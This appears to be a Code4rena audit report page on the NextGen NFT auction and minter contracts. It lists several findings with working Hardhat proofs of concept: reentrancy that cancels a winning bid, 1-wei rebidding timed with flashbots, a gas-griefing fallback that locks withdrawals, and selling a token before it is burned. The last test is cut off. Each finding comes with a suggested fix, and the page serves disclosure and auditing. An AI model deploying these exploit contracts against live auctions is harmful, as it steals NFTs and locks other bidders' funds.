Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Vulnerability Details

Prerequisites:

  • getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer) Steps by the attacker:
  • Bet enough to win the auction
  • Wait until almost the end of the auction, pay flashbots to include you in the block where block.timestamp == minter.getAuctionEndTime(_tokenid). For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
    • In the transaction the attacker is calling claimAuction
    • highest Bidder (the attacker) has a call to cancelBid in onERC721Received

Impact

Attacker returns their bid and gets the NFT

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CancelOnWin is IERC721Receiver {
    auctionDemo immutable auction;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }
    function bid(uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claim(uint256 tokenId) external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 tokenId,
        bytes calldata 
    ) external returns (bytes4) {
        auction.cancelAllBids(tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{}
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCancelOnWin = await (
        await ethers.getContractFactory("CancelOnWin", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCancelOnWin.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Auction winner can return his bid", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            const collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            normalBidder = signers.addr2;
            expect(collectionAdmin.address).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            const attackerContract = await contracts.hhCancelOnWin.connect(attacker);

            // Make a big bet
            const bidAmmount = ethers.parseEther("1.0");
            await attackerContract.bid(tokenId, {
                value: bidAmmount
            })
            
            const balanceBefore = await ethers.provider.getBalance(attackerContract);
            expect(balanceBefore).to.eq(0);

            // skip until the auction end time
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);
            
            // claim
            await attackerContract.claim(tokenId);
            await ethers.provider.send("evm_mine");

            // check mined correctly
            expect(await getLatestBlockTimestamp()).eq(endTimestamp);
            expect(await contracts.hhAuction.auctionClaim(tokenId)).to.be.true;

            // check attack successfull
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(bidAmmount);

            // check attacker owns the NFT
            expect(await contracts.hhCore.ownerOf(tokenId))
                .to.eq(await attackerContract.getAddress());
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Change >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction Add nonReentrant modifiers

Assessed type

Timing

#0 - c4-pre-sort

2023-11-14T13:35:25Z

141345 marked the issue as duplicate of #1370

#1 - c4-pre-sort

2023-11-14T14:21:06Z

141345 marked the issue as duplicate of #962

#2 - c4-judge

2023-12-04T21:41:43Z

alex-ppg marked the issue as duplicate of #1323

#3 - c4-judge

2023-12-08T18:01:29Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134

Vulnerability details

Vulnerability Details

Steps:

  1. Make a high bet first that is unlikely to be overbet (1.3-2x market price)
  2. Wait until the last block of the auction
  3. Cancel your high bid, bet 1wei in the same block (easy with flashbots)
    1. (optional) claim auction in the same block. Requires that getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer)

Result:

  • The attacker won an NFT for 1wei with high probability (if noone backrun them)
  • 1/12 of the times they 100% won't be backrun because they will be able to call claimAuction
    • The attacker can easily target only auctions where getAuctionEndTime is a valid block.timestamp

Variations: a. If you are not the first to make a bet you will have to pay 1wei more than the previous bidder if they don't cancel b. Depending on how much higher than the market price the attacker bid they will have to win ~50% of the times for 2x, 10% for 1.1x to be profitable with this strategy. In the worst case (flashbots fail to include their batch) the attacker will just buy an NFT with a higher than market price. When they win they pay 1 wei. c. An attacker can use several accounts to do several rebidding to discourage rebidding from real people even more. In this case it will be just a bigger batch of transactions to flashbots d. Can attack with lower success probability without flashbots, just risky that someone will back run, the cancelBid transaction won't be included in a block

Impact

High possibility to win expensive NFT in an auction with high probability paying 1 wei

Proof of Concept

Create a test file below and run it

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    before(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhAuction.getAddress()).to.not.equal(
                ethers.ZeroAddress,
              )
        })}
    );

    context("Vulnerability 1", () => {
        before(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                signers.addr1.address,
                true,
            )
            await contracts.hhCore.connect(signers.addr1).setCollectionData(
                1, // _collectionID
                signers.addr1.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )
        })
        it("attack", async function() {
            const startTimestamp = await getLatestBlockTimestamp();
            const endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
              )
            
            const initialOwnerAddress = signers.addr1.address;
            const bidder = signers.addr2;
            expect(initialOwnerAddress).not.eq(bidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                initialOwnerAddress,
                "",
                0,
                1,
                endTimestamp, 
            );
            
            // check token minted
            const tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress);
                
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            )
            

            const auction = contracts.hhAuction.connect(bidder);

            // Make a big first bet (step 1)
            const firstBid = ethers.parseEther("1.0");
            await auction.participateToAuction(tokenId, {
                 value: firstBid
            });
            expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([
                await bidder.getAddress(),
                firstBid,
                true,
            ]);
            const highestBidStart = await auction.returnHighestBid(tokenId);
            expect(highestBidStart).to.eq(firstBid);

            // set time (step 2)
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // send batch of 3 txs, easy with flashbots (step 3)
            await auction.cancelBid(tokenId, 0, { gasLimit: 1_000_000 });
            await auction.participateToAuction(tokenId, {
                value: 1,
                gasLimit: 1_000_000,
            });
            await auction.claimAuction(tokenId, {gasLimit: 1_000_000});

            await ethers.provider.send("evm_mine");

            // check mined correctly
            expect(await getLatestBlockTimestamp()).eq(endTimestamp);


            // check bids
            expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([
                await bidder.getAddress(),
                firstBid,
                false,
            ]);
            expect(await auction.auctionInfoData(tokenId.toString(), 1)).to.deep.equal([
                await bidder.getAddress(),
                1,
                true,
            ]);

            expect(await auction.returnHighestBid(tokenId)).to.eq(1);
            expect(await auction.returnHighestBidder(tokenId)).to.eq(bidder.address);

            // check owner
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(bidder.address);
        })
    })
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Consider disallowing canceling the winning bet. Changing >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction will help to make an attack more risky because the attacker won't be able to cancel, rebid and finish auction in the same block.

Assessed type

Other

#0 - c4-pre-sort

2023-11-15T07:25:34Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-02T15:12:26Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-02T15:15:01Z

alex-ppg marked the issue as duplicate of #1784

#3 - c4-judge

2023-12-07T11:50:48Z

alex-ppg marked the issue as duplicate of #1323

#4 - c4-judge

2023-12-08T18:01:06Z

alex-ppg marked the issue as partial-50

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Vulnerability Details

Prerequisites:

  • Auction ended (block.timestamp >= minter.getAuctionEndTime(_tokenid))
  • One of the bidders who didn't cancel their bid consume all the gas on call
    • If the gasLimit is set too high may need to do 2 bids, because only 63/64 gas is passed to a call

Result: Not enough gas to finish the execution (we still have not payed the winner in the for-loop because the winner is the last with status true in the auctionInfoData array)

Impact

No one can withdraw there bids. No way to recover the funds.

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
pragma solidity ^0.8.19;

contract ThrowOnCall{

    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }
    fallback() external payable {
        // easiest way to consume all the gas
        assembly {
            invalid()
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhThrowOnCall = await (await ethers.getContractFactory("ThrowOnCall")).deploy();
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhThrowOnCall.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Any bidder can lock all the withdrawals", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            const collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            normalBidder = signers.addr2;
            expect(collectionAdmin.address).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );

            // normal bids
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 });
        })
        it("reverts if attacker is called (max gas)", async function() {
            // malicious/broken bid, the biggest bid so far
            // we do 2 bids to be sure because only 63/64 of gas is passed, and with 30mln one time is not enough
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000})
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 5000})

            // overbid by normal bidder
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 });

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will throw
            await expect(contracts.hhAuction.connect(normalBidder)
                // 30mln is the limit
                .claimAuction(tokenId, {gasLimit: 30_000_000}))
                // @ts-ignore
                .to.be.reverted;

            // just to show that cancel bids also does not work
            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
        it("reverts if attacker is called (normal gas)", async function() {
            // malicious/broken bid, the biggest bid so far
            // only one bid is required for 1mln gas
            await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000})

            // overbid by normal bidder
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 });

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will throw
            await expect(contracts.hhAuction.connect(normalBidder)
                .claimAuction(tokenId, {gasLimit: 1_000_000}))
                // @ts-ignore
                .to.be.reverted;

            // just to show that cancel bids also does not work
            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
    
    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Rewrite the auction so it uses Pull over Push pattern.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-20T15:21:57Z

141345 marked the issue as duplicate of #486

#1 - c4-judge

2023-12-01T22:24:34Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-01T22:24:46Z

alex-ppg marked the issue as duplicate of #1782

#3 - c4-judge

2023-12-08T20:50:39Z

alex-ppg marked the issue as partial-50

Findings Information

🌟 Selected for report: Haipls

Also found by: 00xSEV, Draiakoo, PetarTolev, Udsen, VAD37, ast3ros, gumgumzum, r0ck3tz

Labels

bug
2 (Med Risk)
partial-50
duplicate-1627

Awards

252.1973 USDC - $252.20

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66

Vulnerability details

Vulnerability Details

In bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId])) you try to concatenate randomWords and tokenId. But because bytes32 type casting cuts first 32 bytes only first word will be set as the token hash. E.g. for _randomWords = [1,2], requestToToken[_requestId]) = 3, bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId])) will return 0x0000000000000000000000000000000000000000000000000000000000000001 It looks like you wanted for creators to have tokenId and all the random words in the hash.

Impact

It will lead to unexpected token hashes and unexpected art rendering

Proof of Concept

A small contract to check what will be returned

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract B32 {
    function test(uint[] calldata a, uint b) external pure returns (bytes32) {
        return bytes32(abi.encodePacked(a, b));
    }
}

Tools Used

Manual review

Consider using keccak256 instead of bytes32 if you need to use all the values and don't need tokenId in hash. Consider using a bigger data type (e.g. struct) to hold both words and tokenId if that what was desired.

Assessed type

en/de-code

#0 - c4-pre-sort

2023-11-20T15:29:05Z

141345 marked the issue as duplicate of #852

#1 - c4-judge

2023-12-06T15:56:15Z

alex-ppg changed the severity to QA (Quality Assurance)

#2 - c4-judge

2023-12-10T14:25:43Z

This previously downgraded issue has been upgraded by alex-ppg

#3 - c4-judge

2023-12-10T14:26:26Z

alex-ppg marked the issue as duplicate of #1688

#4 - c4-judge

2023-12-10T14:28:39Z

alex-ppg marked the issue as partial-50

Findings Information

Labels

bug
2 (Med Risk)
downgraded by judge
partial-50
duplicate-1597

Awards

95.7343 USDC - $95.73

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L220

Vulnerability details

Vulnerability Details

Prerequisites:

  • The attacker has a token that can be burned to mint another one

Steps for the attacker:

  1. Call MinterContract.burnToMint
  2. Sell the burn token (that is not burned yet) in onERC721Received hook
    1. Or lend or do something else to get money for it

Impact

The buyer of the token looses money, because the token is burned just after the sale

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {IERC721Receiver} from "./IERC721Receiver.sol";
import "./ERC721Enumerable.sol";
import "./MinterContract.sol";

pragma solidity ^0.8.19;

contract SellBurnToken is IERC721Receiver {
    event TokenSold(uint indexed burnTokenId, address indexed newOwner);
    bool shouldSellBurnTokenOnReceive = false;
    uint burnTokenId;
    IERC721 core;
    NextGenMinterContract minter;

    function setShouldSell(bool _value, uint _burnTokenId, IERC721 _core, NextGenMinterContract _minter) external {
        shouldSellBurnTokenOnReceive = _value;
        burnTokenId = _burnTokenId;
        core = _core;
        minter = _minter;
    }

    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
        public
        payable
    {
        minter.burnToMint{value: msg.value}(_burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external returns (bytes4) {
        if (shouldSellBurnTokenOnReceive){
	        // It can be sale, lend, or any other operation with the token
            core.transferFrom(address(this), address(0xdead), burnTokenId);
            emit TokenSold(burnTokenId, core.ownerOf(burnTokenId));
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Possible to sell or lend a token just before burning it";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
let signers
let contracts
let attacker;

describe("NextGen Tests", function () {
    

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
    })

    context(TEST_NAME, () => {
        const BURN_COLLECTION_ID = 1;
        const MINT_COLLECTION_ID = 2;
        const MINT_COLLECTION_TOTAL_SUPPLY = 3;


        beforeEach(async function () {
            await contracts.hhCore.addRandomizer(
                BURN_COLLECTION_ID, contracts.hhRandomizer,
            )
              await contracts.hhCore.addRandomizer(
                MINT_COLLECTION_ID, contracts.hhRandomizer,
            )

            // Collection to burn, big supply
            const collectionId1 = await createCollection(1000);
            expect(collectionId1).to.eq(BURN_COLLECTION_ID);

            // Collection to mint, small supply
            const collectionId2 = await createCollection(MINT_COLLECTION_TOTAL_SUPPLY);
            expect(collectionId2).to.eq(MINT_COLLECTION_ID);

            await contracts.hhMinter.initializeBurn(BURN_COLLECTION_ID, MINT_COLLECTION_ID, true);


        })

        it("attacks", async function() {
            const  attackerContract = (await ( await 
                ethers.getContractFactory("SellBurnToken"))
                    .deploy())
                        .connect(attacker);
            
            // Simulate that attacker gets 1 burn token, in real scenario they could buy it
            const airDropTx = await contracts.hhMinter.airDropTokens(
                [attackerContract], //_recipients,
                [""],       //_tokenData,
                [0],        //_saltfun_o,
                BURN_COLLECTION_ID,          //_collectionID,
                [1]         //_numberOfTokens,
            )
            const tokenId = (await getLastMintedTokenIds(airDropTx))[0];

            // Make sure the token is minted
            const burnTokensAirdroppedToAttackerCount = await contracts.hhCore
